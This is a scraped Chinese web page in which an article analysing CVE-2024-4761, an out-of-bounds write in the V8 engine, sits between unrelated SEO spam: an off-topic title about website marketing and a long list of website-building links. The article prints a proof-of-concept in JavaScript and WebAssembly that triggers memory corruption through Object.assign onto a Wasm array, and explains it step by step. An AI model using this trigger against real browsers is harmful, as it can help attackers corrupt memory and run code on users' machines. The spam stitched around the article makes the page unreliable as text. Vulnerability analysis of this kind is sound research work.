当前位置: 首页 > news >正文

网站怎么做sem做神马网站

网站怎么做sem,做神马网站,吉林市网站建设公司哪家好,cms网站群分析 CVE-2024-4761 和 POC 代码 CVE-2024-4761 描述 CVE-2024-4761 是一个在 V8 引擎中发现的越界写漏洞,报告日期为 2024-05-09。这个漏洞可能允许攻击者通过特制的代码执行任意代码或者造成内存破坏,进而导致程序崩溃或其他不安全行为。 POC 代码解…

分析 CVE-2024-4761 和 POC 代码

CVE-2024-4761 描述

CVE-2024-4761 是一个在 V8 引擎中发现的越界写漏洞,报告日期为 2024-05-09。这个漏洞可能允许攻击者通过特制的代码执行任意代码或者造成内存破坏,进而导致程序崩溃或其他不安全行为。

POC 代码解析
const prefix = "...";d8.file.execute(`${prefix}/test/mjsunit/wasm/wasm-module-builder.js`);let builder = new WasmModuleBuilder();let array = builder.addArray(kWasmI32, true);builder.addFunction('createArray', makeSig([kWasmI32], [kWasmExternRef])).addBody([kExprLocalGet, 0,kGCPrefix, kExprArrayNewDefault, array,kGCPrefix, kExprExternConvertAny,]).exportFunc();let instance = builder.instantiate({});
let wasm = instance.exports;let array42 = wasm.createArray(42);let src = {};
src.a = 1;
delete src.a;for (let i = 0; i < 1024; i++) {src[`p${i}`] = 1;
}Object.assign(array42, src);

在这里插入图片描述

代码分析
  1. 加载 wasm-module-builder.js 模块

    d8.file.execute(`${prefix}/test/mjsunit/wasm/wasm-module-builder.js`);
    

    这里假设 D8(V8 引擎的调试工具)正在执行一段 JavaScript 代码,该代码加载了 WebAssembly 模块构建器脚本。

  2. 构建 WebAssembly 模块

    let builder = new WasmModuleBuilder();
    let array = builder.addArray(kWasmI32, true);
    

    使用 WasmModuleBuilder 创建一个新的 WebAssembly 模块,并定义一个整数数组类型。

  3. 添加和导出一个函数

    builder.addFunction('createArray', makeSig([kWasmI32], [kWasmExternRef])).addBody([kExprLocalGet, 0,kGCPrefix, kExprArrayNewDefault, array,kGCPrefix, kExprExternConvertAny,]).exportFunc();
    

    这个函数 createArray 接受一个整数参数,创建一个新的 WebAssembly 数组并返回一个外部引用。函数体包含指令序列来获取局部变量,创建默认的数组,并将其转换为外部引用。

  4. 实例化模块并调用导出函数

    let instance = builder.instantiate({});
    let wasm = instance.exports;
    let array42 = wasm.createArray(42);
    

    实例化模块后,调用 createArray 函数,创建一个包含 42 个元素的数组。

  5. 构建和修改对象

    let src = {};
    src.a = 1;
    delete src.a;
    for (let i = 0; i < 1024; i++) {src[`p${i}`] = 1;
    }
    Object.assign(array42, src);
    

    创建一个对象 src,并在其中动态添加属性。最后,使用 Object.assignsrc 的属性赋值给 array42

漏洞利用可能性

此代码通过 Object.assign 将一个具有大量属性的对象赋值给一个 WebAssembly 数组,这种操作在 V8 引擎内部可能导致内存管理或边界检查失效,进而触发越界写漏洞。具体表现可能包括覆盖数组边界以外的内存区域,从而执行任意代码或导致程序崩溃。

结论

从代码来看,这段 POC 似乎旨在触发 V8 引擎中的越界写漏洞。通过构建一个包含大量属性的对象并将其分配给 WebAssembly 数组,可以测试 V8 的内存边界检查是否有缺陷。如果存在缺陷,该操作可能会导致越界写,从而验证 CVE-2024-4761 漏洞的真实性。因此,POC 代码看起来是合理且可能真实的漏洞利用示例。

http://www.yayakq.cn/news/841996/

相关文章:

  • 网站 域名 空间 服务器手机网站建设分析
  • 做搜狗手机网站排名软网站设计在线crm系统
  • 徐州手机网站建设网站建设的收入来源
  • 网站的交互体验国内十大saas平台
  • 大岭山仿做网站网站制作专家
  • 成都网站建设新线加哪些网站需要做分享按钮
  • 一起做英语网站更换wordpress语言包
  • 郑州网站排名优化外包如何做网站推广及优化
  • 济南住房和城乡建设厅网站山东网页设计公司
  • 哪个网站可以做全景图最近实时热点新闻事件
  • 龙文区城乡建设局网站著名网站设计
  • thinkphp旅游网站源码微信支付申请网站建设未完成
  • 营销型网站收费绵阳 网站开发 公司
  • 广东建设局网站首页小程序注册条件
  • 17网站一起做网店潮汕依依企业展厅设计效果图
  • 代做网站平台网址大全2345仙踪林
  • 网站功能设计的内容济南市住监局官网
  • 什么网站好哪些属于功能型网站
  • 执法局网站建设目的wordpress默认模板
  • 素材网站都有哪些icp备案是什么
  • 网页设计师必须知道的网站长沙网站建设 芙蓉区
  • 怎么销售网站建设长沙广告网页设计最新招聘信息
  • 建设部勘察设计网站腾讯朋友圈广告代理
  • 网站推广免费推广网站如果给公司做网站
  • 网站域名有了 网站如何建设大品牌vi设计
  • 做网站找个人还是找公司好财务网站模板
  • 中国wix网站制作公司介绍网络营销的短文
  • 自己如何做网站统计php源码搭建网站流程
  • 2017如何做企业网站广州网站运营专业乐云seo
  • 分类信息网站开发需求方案免费网上教学平台